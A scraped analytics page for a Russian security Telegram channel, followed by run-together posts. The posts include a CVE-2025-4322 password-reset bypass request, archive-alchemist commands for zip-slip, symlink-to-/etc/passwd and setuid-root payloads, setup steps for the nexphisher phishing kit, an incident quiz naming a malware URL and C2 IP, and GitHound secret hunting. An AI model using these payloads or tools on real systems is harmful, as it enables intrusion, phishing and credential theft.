Codeby
Блог сообщества Кодебай Чат: @codeby_one Форум: codeby.net Обучение: codeby.academy CTF: hackerlab.pro VK: vk.com/codeby YT: clck.ru/XG99c Сотрудничество: @KinWiz Реклама: @Savchenkova_Valentina
Show more📈 Analytical overview of Telegram channel Codeby
Channel Codeby (@codeby_sec) in the Russian language segment is an active participant. Currently, the community unites 37 026 subscribers, ranking 3 631 in the Technologies & Applications category and 17 120 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 37 026 subscribers.
According to the latest data from 31 October, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by -25 over the last 30 days and by -36 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 7.30%. Within the first 24 hours after publication, content typically collects 4.13% reactions from the total number of subscribers.
- Post reach: On average, each post receives 2 703 views. Within the first day, a publication typically gains 1 530 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 16.
- Thematic interests: Content is focused on key topics such as edr, api, вектор, mitre, att&ck.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“Блог сообщества Кодебай
Чат: @codeby_one
Форум: codeby.net
Обучение: codeby.academy
CTF: hackerlab.pro
VK: vk.com/codeby
YT: clck.ru/XG99c
Сотрудничество: @KinWiz
Реклама: @Savchenkova_Valentina”
Thanks to the high frequency of updates (latest data received on 01 November, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
Представьте: ваш сайт внезапно перестаёт подчиняться вам. Вы не можете войти в админку, а вместо этого видите нового администратора с подозрительным именем. Через несколько часов сайт превращается в рассадник вредоносного кода или часть ботнета. Всё это — последствия критической уязвимости в популярной теме Motors, получившей идентификатор CVE-2025-4322.▪️2 мая 2025 года команда безопасности Wordfence обнаружила опасную брешь в теме Motors, предназначенной для автомобильных сайтов. Уязвимость позволяла злоумышленникам получать полный контроль над сайтом, просто сбросив пароль администратора ▪️Уже 19 мая информация стала публичной ▪️20 мая начались массовые атаки ▪️К 7 июня было зафиксировано более 23100 попыток взлома
Проблема кроется в виджете «Login Register», отвечающем за авторизацию и восстановление пароля. Хакеры нашли способ обойти проверку хэша, подменяя параметры запроса.➡️Как работала атака? - Поиск уязвимого пути (злоумышленники искали страницы вроде /login-register, /reset-password, /account) - Подмена данных (отправлялся POST-запрос с искажённым параметром hash_check (содержащим некорректные UTF-8 символы)). Пример запроса:
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
user_id=1&new_pass=Hacked123!&hash_check=%EF%BF%BD%EF%BF%BD%EF%BF%BD
- Обход защиты (система ошибочно считала запрос валидным и позволяла сбросить пароль)
- Захват админки (указывался ID=1 (первый пользователь, обычно администратор) и новый пароль (например, Testtest123!@# или `rzkkd$SP3znjrn`))
Результат: злоумышленник получал доступ к админ-панели, создавал новые учётные записи и мог делать с сайтом что угодно.✨Как обнаружить взлом? - Появились новые пользователи с правами администратора - В логах есть подозрительные IP-адреса или попытки сброса пароля - В базе данных встречаются пароли, которые выглядят примерно так:
Kurd@Kurd12123 или owm9cpXHAZTk
⤵️ Похожие уязвимости
▪️CVE-2021-29447 (позволяла загружать вредоносные XML-файлы и читать системные файлы)
▪️CVE-2020-25286 (давала доступ к базе данных через подмену параметров)
▪️CVE-2018-6389 (использовалась для перегрузки сервера)git clone https://github.com/jthack/ffufai
cd ffufai
pip install requests openai anthropic
Далее делаем скрипт исполняемым и для удобства использования ffufai из любого места, создаем символическую ссылку в каталоге, который находится в вашей переменной PATH:
chmod +x ffufai.py
sudo ln -s /<your_path>/ffufai.py /usr/local/bin/ffufai
Финальным шагом необходимо настроить ключ API в качестве переменной окружения для OpenAI или Anthropic's Claude AI:
export OPENAI_API_KEY='your-api-key-here'
export ANTHROPIC_API_KEY='your-api-key-here'
✏️ Использование
Использование идентичное обычному ffuf. В случае если символическая ссылка отсутствует вызывать необходимо с помощью python3 ffufai.py, иначе ffufai:
python3 ffufai.py -u https://example.com/FUZZ -w /path/to/wordlist.txt
#or
ffufai -u https://example.com/FUZZ -w /path/to/wordlist.txt
ffufai требует, чтобы ключевое слово FUZZ находилось в конце пути URL-адреса для точного определения расширения. Если это не так, вы получите предупреждение.sudo apt install ./setezor_<версия>.deb
export SERVER_REST_URL=https://<ip/domain>:<port>
export SECRET_KEY=abcdef
Запускаем сервер командой setezor.
Запускаем агента командой setezor -s -p <port>
На странице Settings находятся все агенты проекта и сервер. Для создания нового агента нажать на Add agent.
Для выполнения необходимых задач выбираем нужные параметры и агента, который будет выполнять действие.git clone https://github.com/avlidienbrunn/archivealchemist
cd archivealchemist
chmod +x archive-alchemist.py
sudo ln -s $(pwd)/archive-alchemist.py /usr/local/bin/archive-alchemist
⚡️ Использование
Архив с полезной нагрузкой для обхода путей:
archive-alchemist zipslip.zip add "../../../tmp/evil.txt" --content "I escaped the extraction directory!"
Архив с символической ссылкой, указывающей на конфиденциальный файл:
archive-alchemist symlink_attack.tar -t tar add .bashrc --symlink "/etc/passwd"
Создание исполняемого файла с правами суперпользователя:
archive-alchemist setuid_attack.tar -t tar add exploit --content "#!/bin/sh\nwhoami" --mode 0755 --setuid --uid 0
Создание файла, который является допустимым ZIP-файлом и начинается с магических байтов GIF
archive-alchemist polyglot.gif add payload.txt --content "hello there"
Поддерживает следующие команды
🌟add - добавление файлов, каталогов, символических или жестких ссылок в архив;
🌟replace - замена существующих файлов или каталогов в архиве;
🌟append - добавление дополнительного содержимого к существующим файлам в архиве;
🌟modify - изменение атрибутов файла или преобразование файлов в символические/жесткие ссылки;
🌟remove/rm - удаление файлов, каталогов, символических или жестких ссылок из архива;
🌟list/ls - отображение содержимого архива;
🌟extract - извлечение файлов из архива в файловую систему;
🌟read/cat - чтение файла из архива в стандартный вывод;
🌟polyglot - добавление содержимое в архив, сохраняя его валидным.SELECT * FROM users WHERE username = '" + userInput + "' AND password = '" + userPassword + "';
К какой уязвимости подвержен данный код?
1️⃣ SQL Injection
2️⃣ Command Injection
3️⃣ Code Injection
4️⃣ Bruteforce
Пиши свой ответ в комментарии👇git clone https://github.com/htr-tech/nexphisher.git
cd nexphisher
./setup
📌Использование:
1️⃣Запуск утилиты
bash nexphisher
*️⃣В 09:15 сотрудник получил письмо с темой «Договор о защите информационных систем №-4513 на подпись» от якобы доверенного контрагента. *️⃣В 09:20 он открыл вложение — файл contract_scanned.exe, маскирующийся под PDF. *️⃣В 09:22 на его ПК (Windows 10) запустился процесс msbuild.exe с необычными аргументами: /tmp:7a3f1 /payload:http://malware[.]xyz/get.dll *️⃣ В 09:25 этот процесс подключился к IP 91.234.18.77 (порт 8443) и начал массово копировать файлы из сетевой папки \\NAS\Information\.⬇️ Выбирайте ответ! 💬 Какие индикаторы компрометации (IOCs), помимо указанных в описании инцидента, можно выделить для дальнейшего поиска подобных атак в сети компании? Делитесь своими идеями!
unzip git-hound_linux_amd64.zip
Добавляем API-токен github в config.yml
В качестве альтернативы можно использовать переменные окружения, которые будут переопределять значения в config.yml:
GITHOUND_GITHUB_TOKEN: Устанавливает токен доступа к API GitHub.
GITHOUND_INSERT_KEY: Устанавливает ключ вставки GitHoundExplore для функции --dashboard.
GitHound использует базу данных регулярных выражений для ключей API, поддерживаемую авторами Gitleaks.
📖 Принцип работы и использование
GitHound находит ключи API с помощью комбинации точных регулярных выражений для распространённых сервисов, таких как Slack и AWS, и универсального регулярного выражения API с учётом контекста. Это позволяет находить длинные строки, похожие на ключи API, которые окружены ключевыми словами, такими как Authorization и «API-Token». GitHound предполагает, что это ложные срабатывания, а затем проверяет их легитимность с помощью энтропии Шеннона, проверки слов из словаря, расчёта уникальности и обнаружения кодировки.
Далее он выводит результаты с высокой степенью достоверности. Для файлов, в которых кодируются секреты, он декодирует строки в формате base64 и ищет в закодированных строках ключи API.
echo "\"uberinternal.com\"" | githound --dig-files --dig-commitst --threads 100
--dig-files - Просматривает файлы репозитория, чтобы найти больше секретов;
--dig-commits - Просматривает историю коммитов, чтобы найти больше секретов.